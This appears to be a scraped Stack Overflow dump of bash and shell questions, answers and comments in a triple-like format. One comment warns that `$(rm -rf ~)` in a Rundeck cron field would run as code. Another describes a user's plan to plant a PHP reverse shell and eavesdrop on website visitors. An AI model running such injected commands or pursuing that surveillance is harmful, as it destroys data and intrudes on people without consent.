has body: I have to schedule some tasks for which I invoke a shell script in my home directory. I try to run a python script from this Shell script but it doesn't work. I have tried the following till now. I have validated that Crontab does invoke the shell script by echoing from the shell script to an output file I ran the shell script independently from the terminal and it executes the python script successfully I have added the shell script to chmod and also the python script Shell script code #!/bin/sh python3 /absolute path/to/file/myfile.py &gt;&gt; log_script.txt
has answer: http://stackoverflow.com/a/77096618
answer count: 3
tagged with: python
has comment: http://stackoverflow.com/comment/135912834
accepted answer: http://stackoverflow.com/a/77096618
has comment: http://stackoverflow.com/comment/135911433
type: Question
has comment: http://stackoverflow.com/comment/135911668
upvote count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135910765
has comment: http://stackoverflow.com/comment/135912905
tagged with: bash
has comment: http://stackoverflow.com/comment/135910834
has title: Python script Permission Denied from shell script when invoked from Crontab
has answer: http://stackoverflow.com/a/77095557
has answer: http://stackoverflow.com/a/77095729
favorite count: 0
has comment: http://stackoverflow.com/comment/135912935
downvote count: 1
has comment: http://stackoverflow.com/comment/135912926
score: -1
possible better answer: http://stackoverflow.com/a/77095729

range
tags question: http://stackoverflow.com/q/77158416
type: Tag
tag name: range

http://stackoverflow.com/comment/136018626
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77121277
has text: I have exactly the same Docker version.

http://stackoverflow.com/comment/135884661
has text: Depends on which zsh version you are refering to. Over the lifetime, several features and language constructs have been added. Same with bash. Early bash did not have associative arrays for instance. Especially with zsh, I was bitten several times when porting my scripts to a newer version, and my old scripts did not run anymore ....
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77079649
type: QuestionComment

http://stackoverflow.com/comment/136158858
has text: I used `gh repo clone` because the script is actually executed by GitHub Actions. I can simply setup a GitHub App to authenticate to my organisation, and use gh cli with the generated token to get the git info for each repository. If I use `git ls-remote` command directly, I would need to download the private key and setup SSH config during the workflow.
score: 0
comment on: http://stackoverflow.com/a/77234131
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136093798
type: QuestionComment
comment on: http://stackoverflow.com/q/77198302
has text: And `$*` is buggy. **Always** use `"$@"` _with the quotes_ to pass your argument list through to a child process; otherwise entries in that list get split on spaces and glob-expanded.
type: Comment
score: 0

http://stackoverflow.com/comment/135920013
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77100448
has text: PHP runs on the server, it cannot make the client do anything other than what is sent inside of an HTTP response, and no browser on earth is going to launch an untrusted executable without a warning and user confirmation.

http://stackoverflow.com/comment/136169859
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785
has text: Please double check the value of E2:E4, it might be different with your input. Excel think it is a timestamp if you input `6:7.400` in a cell. It is mismached with your js. The cell value will be `0:06:07`. Try to input `'6:7.400` (starts with an single quotation marker) and run the code again.

http://stackoverflow.com/comment/135912968
has text: Also, please [format your code properly](https://stackoverflow.com/help/formatting). Code should always be formatted in fixed point fonts, because it is difficult to identify spaces properly when you use proportional font.
type: Comment
comment on: http://stackoverflow.com/q/77095520
type: QuestionComment
score: 0

http://stackoverflow.com/q/77139013
score: 0
type: Question
answer count: 0
has title: Capture argument value in Korn Shell
tagged with: shell
has comment: http://stackoverflow.com/comment/135988026
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135988257
has body: I have a program that calls the shell script with argument values $1 $2 $3 $4. I have tried to capture it and put it in file so I can see the values, it can generate file but inside is empty. Where did I go wrong? var= $1,$2,$3, $HOSE echo "$var" > "value.txt"
linked to: http://stackoverflow.com/q/41748466
tagged with: ksh
duplicate of: http://stackoverflow.com/q/41748466

http://stackoverflow.com/comment/136093118
type: QuestionComment
has text: See [Why should eval be avoided in Bash, and what should I use instead?](https://stackoverflow.com/q/17529220/4154375).
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77197549

permissions
tag name: permissions
type: Tag
tags question: http://stackoverflow.com/q/77199964
tags question: http://stackoverflow.com/q/78572797

http://stackoverflow.com/q/77084586
has answer: http://stackoverflow.com/a/77084613
score: 0
type: Question
has body: Suppose I have a complex bash script: x.sh #! /bin/bash . include/this/script.sh . include/this/other/script.sh ... foo="foo$bar" echo $foo Is there some setting or way to cause BASH to echo all the source code it sources, including the main script when I invoke it, so I know exactly what is going on?
tagged with: shell
has title: Can I cause BASH to echo all source when it is invoked?
accepted answer: http://stackoverflow.com/a/77084613
has comment: http://stackoverflow.com/comment/135891766
has answer: http://stackoverflow.com/a/77084627
answer count: 2
possible better answer: http://stackoverflow.com/a/77084627
tagged with: bash
has comment: http://stackoverflow.com/comment/135891761
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135895122

http://stackoverflow.com/comment/135889587
has text: You can use `-onlyin dir` to limit the scope.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77083171
score: 0

http://stackoverflow.com/a/77149598
has body: Using sed: $ cat file azd516/*651az654daz[#lc,nzpmoa156 $ cat script #!/bin/bash sudo systemctl stop zpa-connector sudo touch /opt/zscaler/var/provision_key sudo chmod 644 /opt/zscaler/var/provision_key sudo echo | tee /opt/zscaler/var/provision_key cat /opt/zscaler/var/provision_key sudo systemctl start zpa-connector $ v=$(< file) $ sed -E "s|^(sudo echo)( \|.+)$|\1 '$v'\2|" script #!/bin/bash sudo systemctl stop zpa-connector sudo touch /opt/zscaler/var/provision_key sudo chmod 644 /opt/zscaler/var/provision_key sudo echo 'azd516/*651az654daz[#lc,nzpmoa156' | tee /opt/zscaler/var/provision_key cat /opt/zscaler/var/provision_key sudo systemctl start zpa-connector this sed command captures the existing string of interest into two groups, and places the content of the variable v (which contains the string from the other file) between them. It uses | as a separator as the default one (/) is present in your string. If however you know that your variable might change and might include unknown characters, you're better off using awk: $ v=$(< file) $ export v $ awk 'BEGIN{FS="|";OFS=" |"}{if ($0 == "sudo echo | tee /opt/zscaler/var/provision_key") {print $1 "\047" ENVIRON["v"] "\047" ,$2} else {print $0}}' script #!/bin/bash sudo systemctl stop zpa-connector sudo touch /opt/zscaler/var/provision_key sudo chmod 644 /opt/zscaler/var/provision_key sudo echo 'azd516/*651az654daz[#lc,nzpmoa156' | tee /opt/zscaler/var/provision_key cat /opt/zscaler/var/provision_key sudo systemctl start zpa-connector
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/136013318
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/136011925
has comment: http://stackoverflow.com/comment/136020047
answers question: http://stackoverflow.com/q/77149495

http://stackoverflow.com/comment/135977799
comment on: http://stackoverflow.com/q/77129396
type: QuestionComment
has text: @jhnc no I guess not, using gedit in ubuntu plus all entries in the file in.txt are displaying correctly when echoed inside the while do loop.
type: Comment
score: 0

http://stackoverflow.com/q/77096322
has comment: http://stackoverflow.com/comment/135912053
tagged with: sorting
type: AnsweredQuestion
tagged with: prefix
upvote count: 1
possible better answer: http://stackoverflow.com/a/77096426
tagged with: command-line
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/135912264
tagged with: shell
has body: I know the sort command can be made to use only some of the information on each input line as the sort key, e.g. using sort -k 2 to skip the initial sequence of characters up to a whitespace; and I know I can use a different field delimiter with -t. Suppose, though, that I want to sort input while ignoring the first few characters - which are not fixed. For example, this: bar10 baz12 foo1 gaa11 quu2 should become, using only the 4th character and onwards: foo1 bar10 gaa11 baz12 quu2 Of course I can do this with a more involved scripting language, like awk (e.g. this way). But is there something simpler I could do instead?
has title: In bash, how to sort while ignoring a prefix?
downvote count: 0
has answer: http://stackoverflow.com/a/77096759
score: 1
has answer: http://stackoverflow.com/a/77096426
favorite count: 0
accepted answer: http://stackoverflow.com/a/77096759

http://stackoverflow.com/comment/135895271
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77083852
has text: See _man mv_ : First comes the souce, then the destination. There is a pattern to this: `cp`, `ln` and `rsync` for instance behave in the same way.
type: QuestionComment

tesseract
type: Tag
tag name: tesseract
tags question: http://stackoverflow.com/q/77224520

http://stackoverflow.com/comment/136104912
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77199964
has text: *"i had to manually give the 777 permissions ..."* ... So it worked when you did it from terminal? I had expected it would also fail. The typical reason is that an upper level directory `/firstLevel` often is perms 755 or less, and is owned by a admin user. Don't know what it wont work in your build.xml. Good luck.
score: 0

http://stackoverflow.com/comment/135932087
has text: @KiranKutte, the _Terminal_ window is _alt + f12_.
score: 0
comment on: http://stackoverflow.com/q/77105912
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136090722
comment on: http://stackoverflow.com/q/77191993
type: QuestionComment
type: Comment
has text: @volkerschulz I tried to add this ```error_reporting(E_ALL); ini_set('display_errors', 1); $wkhtmltopdfCommand = "/usr/bin/wkhtmltopdf --enable-local-file-access journal.html journal-new.pdf"; exec($wkhtmltopdfCommand);``` That I can see the errors but no error appeared. What should I do?
score: 0

http://stackoverflow.com/comment/136180896
has text: Clicked. Really appreciate your inputs and efforts. It helps me a lot
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785
score: 0

http://stackoverflow.com/comment/135950354
comment on: http://stackoverflow.com/q/77118220
type: QuestionComment
type: Comment
has text: please use a [repro].
score: 2

http://stackoverflow.com/q/77124850
has answer: http://stackoverflow.com/a/77128237
score: 0
type: Question
answer count: 4
tagged with: shell
has body: Input File : Test.txt -rw-r--r-- 1 dev dev 93K Sep 18 05:37 Server-23091805496-2-AC.log -rw-r--r-- 1 dev dev 40K Sep 18 05:44 ServerM-23090331-5709-log.log -rw-r--r-- 1 dev dev 484K Sep 18 05:46 Server-280334-12570-log.log -rw-r--r-- 1 dev dev 235K Sep 18 05:47 Server-233405500-1-AC.log Output in 1st File : Sep 18 05:37 Server-23091805496-2-AC.log Sep 18 05:44 ServerM-23090331-5709-log.log Sep 18 05:46 Server-280334-12570-log.log Sep 18 05:47 Server-233405500-1-AC.log Output in 2nd File : Server-23091805496-2-AC.log ServerM-23090331-5709-log.log Server-280334-12570-log.log Server-233405500-1-AC.log Tried Below : 1. sed 's/ /\n/g' Test.txt 2. ls -ltr | grep "Sep 18 08:" |sed -n '1p'|cut -d ' ' -f2
has comment: http://stackoverflow.com/comment/135962649
has title: How to extract particular field space separately in shell script using sed command
has answer: http://stackoverflow.com/a/77124913
has answer: http://stackoverflow.com/a/77124873
accepted answer: http://stackoverflow.com/a/77124913
tagged with: sed
has comment: http://stackoverflow.com/comment/135966068
possible better answer: http://stackoverflow.com/a/77124873
tagged with: bash
has comment: http://stackoverflow.com/comment/135971828
has answer: http://stackoverflow.com/a/77129097
type: AnsweredQuestion

http://stackoverflow.com/comment/136112236
score: 0
comment on: http://stackoverflow.com/q/77208432
has text: Why does your output say `RUN chmod +x entrypoint.sh` is step 5/5 while it is 6/8?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/135884564
type: Comment
has text: @user1934428 Thank you first for your comment. I agree with you on the point that script language varies, but just like what you've mentioned in the example, 'zsh' is a script language, and it has its own syntax, thus the syntax could be a standard. Let's take your point as a new start and break the original question down, are there standards for each of the script language supported by ShellCheck, e.g. zsh, bash?
comment on: http://stackoverflow.com/q/77079649
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135962928
type: QuestionComment
type: Comment
has text: Your example doesn't work in zsh either. I think the problem is that if you have a pipe, `X|Y`, the command `Y` must be executed in a child process. Therefore, `read` has no chance to set any variable in the calling process.
score: 0
comment on: http://stackoverflow.com/q/77124682

http://stackoverflow.com/comment/135889474
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77083171
has text: dont understand having the tag bash and zsh , which are you interested in? or do you not care which as long it works on terminal?

http://stackoverflow.com/comment/135935840
comment on: http://stackoverflow.com/q/77100448
has text: https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/ has a good explanation and some sample codes, including php.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136061543
type: Comment
score: 0
type: AnswerComment
has text: that means `$(stat -c %s test.csv)` didn't return a number, so the shell is seeing `$(( /1024/1024 ))` which is not a valid arithmetic expression. you can run with `set -vx` to see what is happening
comment on: http://stackoverflow.com/a/77170263

http://stackoverflow.com/comment/135966068
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77124850
has text: Please read https://mywiki.wooledge.org/ParsingLs
score: 0

http://stackoverflow.com/comment/136091282
score: 0
has text: @tjm3772 As you can see, `cd ..` is mentioned more in the spirit of what needs to be done. The actual suggestion is to run `cd "$dir" && ...` in a subshell so the problem of figuring out if the previous `cd "$dir"` actually succeeded etc. becomes a non-issue.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77196763

http://stackoverflow.com/comment/136095490
has text: @PatrickJanser I upvoted your answer. Would you mind to add my answer to yours (as a 3rd bullet point) so it becomes the most complete "trouble shooting guide" for others having a similar problem?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77196684
score: 0

http://stackoverflow.com/comment/135962671
score: 1
type: Comment
type: AnswerComment
has text: If the filename is i. e. `foo bar .baz`, you would print only `foo`. You have to print everything from field 9 to the end.
comment on: http://stackoverflow.com/a/77124873

http://stackoverflow.com/comment/135893103
has text: Is it better ? `curl -H "Content-Type: application/json" -v -k "$ENDPOINT" -d "$BODY"`
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/77085340

http://stackoverflow.com/comment/136017772
score: 0
has text: Control-C affects the foreground process (i.e. the one controlling the terminal). Since the background process don't even see your input, they can not react. You can terminate background processes using `kill`.
type: QuestionComment
comment on: http://stackoverflow.com/q/77154642
type: Comment

http://stackoverflow.com/comment/136038526
has text: Thank you for your patience and thoughtful response to my questions
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/77167271

http://stackoverflow.com/a/77122415
upvote count: 1
has body: the following answer work well in the script ,if you want to add the parameter at the prompt using & 'C:\ex-sys\Program files\dre\dre.ps1' '"F:\git hub\yt-dlp\yt-dlp (27).exe" --help' ,double quote the paramter
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/77118875

http://stackoverflow.com/comment/135933915
has text: Its the name of it. Its cyber security area. What i did is, add a reverse shell in a php and upload to localhost. Its normally vuln. bug of website. You launch outside of the website and you can hack the website by this. Im trying to do the reverse. Launch the listener from website to listen and get control/eavesdrop/remote the client. Lets say youtube and your smartphone listening you (from microphone -because you didnt search that words) and recommending you the websites and songs in youtube right ?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77100448

http://stackoverflow.com/comment/136017824
type: QuestionComment
has text: @user1934428 There's a single quote in it.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77155640

http://stackoverflow.com/comment/136132800
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77219602
score: 0
has text: Please explain what you mean by "rename them to something easier to move". Renaming **is** moving.

http://stackoverflow.com/comment/135890558
score: 0
type: Comment
has text: I think you're almost there, but you have to swap the arguments to `mv`: first the current filename, then the decimal version using `$((...))`. Also, you should quote `"$f"`.
comment on: http://stackoverflow.com/q/77083852
type: QuestionComment

http://stackoverflow.com/a/77222077
downvote count: 0
answers question: http://stackoverflow.com/q/77217613
score: 1
has comment: http://stackoverflow.com/comment/136142508
type: Answer
has body: One approach is to use awk to extract the two items you want in a single pass, emitting them in a well-known order -- like this: IFS=$'\n' read -r -d '' cpu_line mem_line < <( top -b -n 1 | awk ' /Cpu[(]s[)]/ { cpu_line=$0 } /KiB Mem/ { mem_line=$0 } END { print(cpu_line); print(mem_line); printf("\0"); } ' ) ...though in your particular case you don't need to read the data into shell variables at all, and can have awk directly write to your output files; if you're using GNU awk it can also do date's work internally: top -b -n 1 | gawk ' BEGIN { timestamp = strftime("%Y-%m-%d-%H:%M:%S") } /Cpu[(]s[)]/ { printf("%s,%s\n", timestamp, $0) >> "cpu.csv" } /KiB Mem/ { printf("%s,%s\n", timestamp, $0) >> "mem.csv" } ' Note that the first example above (the one with <( ... ) syntax) requires that your script be run with bash, not sh. (Also, the use of lower-case variable names is deliberate: all-caps names are used for variables that reflect or modify shell behavior, whereas the POSIX standard reserves names with at least one lower-case character for application-defined use; see the relevant standard at https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html)
upvote count: 1

http://stackoverflow.com/a/78074149
has body: When there is NO shell in your container image, like cluster autoscaler. One option is to run a shell in this container through ephemeral containers and kubectl debug. Ephemeral container support went into beta in Kubernetes 1.23. Here is an example that creates an Ubuntu container, and attaches it to a shell-less autoscaler pod kubectl debug -n kube-system -it cluster-autoscaler-xxxxx-xs5xr --image=ubuntu
answers question: http://stackoverflow.com/q/77171720
upvote count: 1
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/a/77107151
type: Answer
score: 2
upvote count: 2
has body: As suggested by @Charles Duffy in the comments, if you're using GNU bash, below code is more suitable: read sourceSizeInBytes _ < <(du -s --bytes source) read destSizeInBytes _ < <(du -s --bytes dest) if (( sourceSizeInBytes == destSizeInBytes )) then echo "Both folders have equal size. I will do something" else echo "folders are not of the same size" fi
has comment: http://stackoverflow.com/comment/135930838
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77107010
has comment: http://stackoverflow.com/comment/135930892
has comment: http://stackoverflow.com/comment/135939752
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77107010

http://stackoverflow.com/comment/136180204
type: Comment
score: 0
type: AnswerComment
has text: Thanks for your advise but I have no idea how to modify the codes with placeholder added in. Actually we don't need to care about the values in range E2:E4. What I want is just writing values in range D2:D4 to .js. My initial thought is how the codes know which values in .js I want to rewrite, so I let the codes find the values in .js and replace by new values in range D2:D4. That would be easier if we can directly write the values in range D2:D4 to .js
comment on: http://stackoverflow.com/a/77230785

http://stackoverflow.com/comment/136105725
type: Comment
has text: ...over in the embedded-systems world one also sees alternatives like [Toybox](https://www.landley.net/toybox/) for folks uncomfortable with Busybox's GPL licensing; I've also seen attempts to reimplement coreutils (and/or busybox) in memory-safe languages to avoid the security risks involved with C. The world isn't limited to the big desktop-oriented distros of the world; there are lots of smaller, niche toolchains about that generally hew closer to standard-mandated minimal functionality.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77204784

http://stackoverflow.com/comment/135955315
comment on: http://stackoverflow.com/a/77120927
has text: Thanks! This really helped, but it's shifted the chapters down by one timecode. I update the question above to show what it's doing.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/77221481
downvote count: 0
has body: Which one you want 2024/04/27 : LANG=en_us_88591 date -d "Sat Apr 27 11:33:57 CST 2024" "+%Y/%m/%d" # 2024/04/27 or 2024/09/27 (+5 months)? date -d "$(LANG=en_us_88591 date -d @$(date -d "Sat Apr 27 11:33:57 CST 2024" +%s)) +5 months" "+%Y/%m/%d" # 2024/09/27 Note In my timezone, date will produce non-english output. If you want to force english output, prepend LANG=en_us_88591 before date. see here The second one parsed timestamp from +%s then append epoch time to a @. Then set +5 months via date -d.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/77219500
type: Answer

http://stackoverflow.com/comment/136050664
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77173782
score: 0
has text: Does this need a secondary inner parse to keep records from overwriting? `while read -r -a line; do declare -A arr=(); for item in "${line[@]}"; do arr["${item%%=*}"]="${item#=*}"; done; declare -p arr; done<file`

http://stackoverflow.com/a/77169549
score: 0
answers question: http://stackoverflow.com/q/77163838
type: Answer
has body: Instead of passing the arguments as a list, try passing them as string: codepath = os.path.join(os.environ['LocalAppData'], 'Programs', 'Microsoft VS Code', 'bin', 'code') path_parts = &quot;--folder-uri='vscode-remote://ssh-remote+SERVER.domain.net/home/USERNAME/Dropbox/Projects/PROJECTNAME'&quot; subprocess.call(f'&quot;{codepath}&quot; {path_parts}', shell=True) This should pass the entire command as a single string to the shell, which should correctly interpret the arguments.

http://stackoverflow.com/comment/136155291
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785
has text: Wow, this code works amazing. Can you modify the codes a little bit further? Basically those Array #s inside myscript.js are from Sheets("Sheet1").Range("E2:E4"). Each time I need to move the values from range(D2:D4) to range(E2:E4), and input the new values into range(D2:D4), and get myscript.js updated with new values from range(D2:D4)
score: 0

http://stackoverflow.com/comment/136050593
comment on: http://stackoverflow.com/q/77169893
has text: you can use `$employee $job $Salary ...` if you source the file `source ./col.txt`
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135901811
type: QuestionComment
comment on: http://stackoverflow.com/q/77090384
type: Comment
score: 0
has text: Anyhow, the easy answer is whichever of `flock` or `lockfile` your operating system provides, but if you need them, Hugo should do better.

http://stackoverflow.com/comment/136107845
type: Comment
type: AnswerComment
has text: @rdtsc I'm curious to know your environment. Could you possibly post the output of the commands `cat /etc/os-release` and `grep --version` ?
score: 0
comment on: http://stackoverflow.com/a/77204784

http://stackoverflow.com/comment/136019280
has text: @user1934428: Can you give a working example because even putting the backslash doesn't work.
comment on: http://stackoverflow.com/q/77155640
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/77060642
has answer: http://stackoverflow.com/a/77060684
duplicate of: http://stackoverflow.com/q/14290556
type: Question
tagged with: shell
downvote count: 0
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/135850445
type: UnansweredQuestion
score: 1
tagged with: execve
upvote count: 1
answer count: 1
favorite count: 0
has body: I followed what was said in a different thread. I have used execve() with an environment variable PATH, set it to /bin, in order to be able to call commands without using the absolute path. But the function execve() still doesn't recognize the commands such as ls. Only /bin/ls works. What could be the issue? char *envList[3] = {"HOME=/root", "PATH=/bin", NULL }; execve(command[0], command, envList);
has title: Path expansion in execve()
has comment: http://stackoverflow.com/comment/135849324
tagged with: path
linked to: http://stackoverflow.com/q/14290556

http://stackoverflow.com/comment/135912053
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77096322
has text: @Lynn: Hmm, Yeah, I guess doing both post- and pre-processing could work, see my answer below. I'd like to avoid it if possible though.

http://stackoverflow.com/comment/135889564
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77083171
has text: @CharlesDuffy true that my desired result is the first one, but this output will get piped back to my CLI, and I'd rather not have to parse out that line. Is there a way to limit the search results to one?
score: 0

http://stackoverflow.com/comment/136011621
type: QuestionComment
type: Comment
has text: Avoid using `sh -c` if at all possible -- it adds an extra level of parsing, which makes quoting/escaping exponentially more complex and messy.
comment on: http://stackoverflow.com/q/77152224
score: 0

http://stackoverflow.com/comment/135882674
type: QuestionComment
has text: Under [tag:bash], you could use `exec {requestfd}<>/dev/tcp/host/2345; echo >&$requestfd "$therequest";read -u $requestfd theanswer`, but under [tag:posix] [tag:shell], you have to use `mkfifo` and binary *netcat*: `nc`!! I'll maybe post an answer lather...
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77078329

http://stackoverflow.com/q/77088578
upvote count: 0
tagged with: shell
tagged with: jenkins
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/77104607
has body: I need to run a bash script in a remote vm (not a jenkins node) and check the status and fetch the stdout to jenkins so I can trigger some other pipelines. I have tried external-monitor-job plugin but remote vms don't have access to jenkins thus this is not an option. I want to create a pipeline that runs a bash script in the background and another job to check if this process is finished via it's PID. Bash script will run for quite a while so I cannot keep the jenkins node busy for the whole time so I came up with the following idea. Run the script in the remote vm Check the process. Is it done? Yes : Fetch the output.logs No : Schedule job 2 for 10 minutes later How can I schedule the build to run 10 minutes later ?
downvote count: 2
answer count: 1
score: -2
accepted answer: http://stackoverflow.com/a/77104607
favorite count: 0
has title: How to schedule a jenkins pipeline build for a certain date and time to run once
tagged with: jenkins-pipeline

http://stackoverflow.com/comment/135909503
score: 0
comment on: http://stackoverflow.com/q/77083171
has text: _Another problem is that I..._ : Please ask only one thing in one question. If you have several problems, ask several questions. If you ask many questions at once, how could you select the best answer afterwards?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/77083462
has body: Credit to @charles-duffy - the solution was to instead use mdfind, which I wasn't aware of previously: mdfind "ProjName" kind:folder | head -n 1 where head -n 1 specifies to only return the first result, which is the exact match (the rest of the results will be subdirectories of the searched folder).
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/77083171
downvote count: 0

http://stackoverflow.com/comment/136034800
score: 1
comment on: http://stackoverflow.com/q/77164954
type: QuestionComment
has text: Do you know about `while` loop's and bash/ksh's arithmetic evaluation i.e `if (( errRetryCount++ > 5 )) ;then` ? Assuming your current test of `$numLines -gt 0` is a satisfactory check on the conditions you have mentioned, then inserting a `while` loop with appropriate tests before your `cp` cmd should work, You just need to reset you `errRetryCount` before each `while` loop. Busy now. Good luck.
type: Comment

http://stackoverflow.com/comment/135970963
type: QuestionComment
comment on: http://stackoverflow.com/q/77129396
type: Comment
score: 3
has text: grep can read from a file with `-f` (you may also want uppercase `-F` to disable regex)

http://stackoverflow.com/comment/135962356
has text: Chances are, the sh is forking the read statement, setting the variable in the newly created subshell, and then letting it die, leaving the variable unchanged in your upper level shell. I'm not sure how to solve the problem in your shell, but there are ways. In bash, I would change it to read x y < <(echo AAA BBB). This syntax guarantees, that the echo will be the subshell, and the read in the main shell. An interesting experiment for you would be to try this: echo xxx yyy | sh -c 'read a b; echo a=$a b=$b;'
score: 0
comment on: http://stackoverflow.com/q/77124682
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136073093
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77186619
score: 0
has text: any other ways to do it in bash?

http://stackoverflow.com/a/77250709
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/77224520
type: AcceptedAnswer
has body: Conan takes into account the build type (Release/Debug/...) By default the conan profile detect command sets the configuration for build_type=Release, I was building my cmake with the -DCMAKE_BUILD_TYPE=Debug flag. Conan setup everything in the a path dedicated to the Release and cmake was looking in the path dedicated to Debug. Switching to -DCMAKE_BUILD_TYPE=Release fixed it.
answers question: http://stackoverflow.com/q/77224520

http://stackoverflow.com/comment/136034624
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77161643
has text: Thanks @pjh this code: `for d in */ ; do echo make-ffplay-script \""$d"\"; done > myfindloop.sh` does the trick. Adding the extra " is needed or else myfindloop.sh would fail when it comes to any folder containing whitespace.

syntax-error
type: Tag
tags question: http://stackoverflow.com/q/77075130
tag name: syntax-error
tags question: http://stackoverflow.com/q/77653827
tags question: http://stackoverflow.com/q/78029247

http://stackoverflow.com/comment/136005630
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77147775
score: 0
has text: the `default value` is fine, but it does not answer my question.

http://stackoverflow.com/comment/135980847
has text: This helps thanks I have another problem few remote server are just giving me Password: and few remote server are giving me $user@$host's Password:, when I run the same command. Could you please tell where to edit these details
type: Comment
comment on: http://stackoverflow.com/a/77135067
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135907880
has text: If you are talking about messages like "egrep is non-standard" then it's referring to POSIX.
score: 0
comment on: http://stackoverflow.com/q/77079649
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135951508
score: 0
type: QuestionComment
type: Comment
has text: So write `"$ParameterName"`.
comment on: http://stackoverflow.com/q/77118875

http://stackoverflow.com/comment/135992256
has text: @KevinC `variable=something` together with one of the commands do work here (second gives `sure`).
comment on: http://stackoverflow.com/a/77141212
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135986441
comment on: http://stackoverflow.com/q/77138083
score: 0
has text: Nice thanks for all your answers. I clearly made a lot of mistakes ! x) I'm not a professional sry. For Unix Makefiles I think I used WSL without paying attention, so I thought it was cross-platform, but I swear that the project worked on windows with this generator ! And okay I think I will use Ninja Generator now.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136151678
type: Comment
has text: `cron_expression="@option.expression@"` implies that using `$(rm -rf ~)` inside the cron expression will cause that string to be executed as code. Does Rundeck have a configuration option that expects the substitution to be in an unquoted context and performs its own POSIX-compliant quoting or escaping? That would be considerably safer.
type: AnswerComment
comment on: http://stackoverflow.com/a/77230166
score: 0

http://stackoverflow.com/a/77093674
score: 0
answers question: http://stackoverflow.com/q/77093338
has body: For the first, getting the unique values of the child arrays: $ jq '[.x | to_entries[] | .value] | flatten | unique' input.json [ "1", "2", "3", "4" ] or if you want the results one element per line instead of as JSON: jq -r '[.x | to_entries[] | .value] | flatten | unique[]' input.json 1 2 3 4
type: Answer

http://stackoverflow.com/comment/135957672
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77121821
score: 0
has text: Thank you for the code. I tried the code, and the output appear in single line and I'm trying to fix your code. I tried the below code and worked. Thank you for helping me :)

wkhtmltopdf
type: Tag
tags question: http://stackoverflow.com/q/77191993
tag name: wkhtmltopdf
tags question: http://stackoverflow.com/q/78369514

python-os
tag name: python-os
type: Tag
tags question: http://stackoverflow.com/q/77198302

http://stackoverflow.com/comment/136080925
score: 0
has text: Thanks. So where is the output of the subshell directed to. ```function test { echo "Hello" } ``` When I run `bash -c test`, I do not see output on the parent shell. However `bash -c ls` behaves as expected.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77190915

http://stackoverflow.com/a/77220965
score: 2
answers question: http://stackoverflow.com/q/77219602
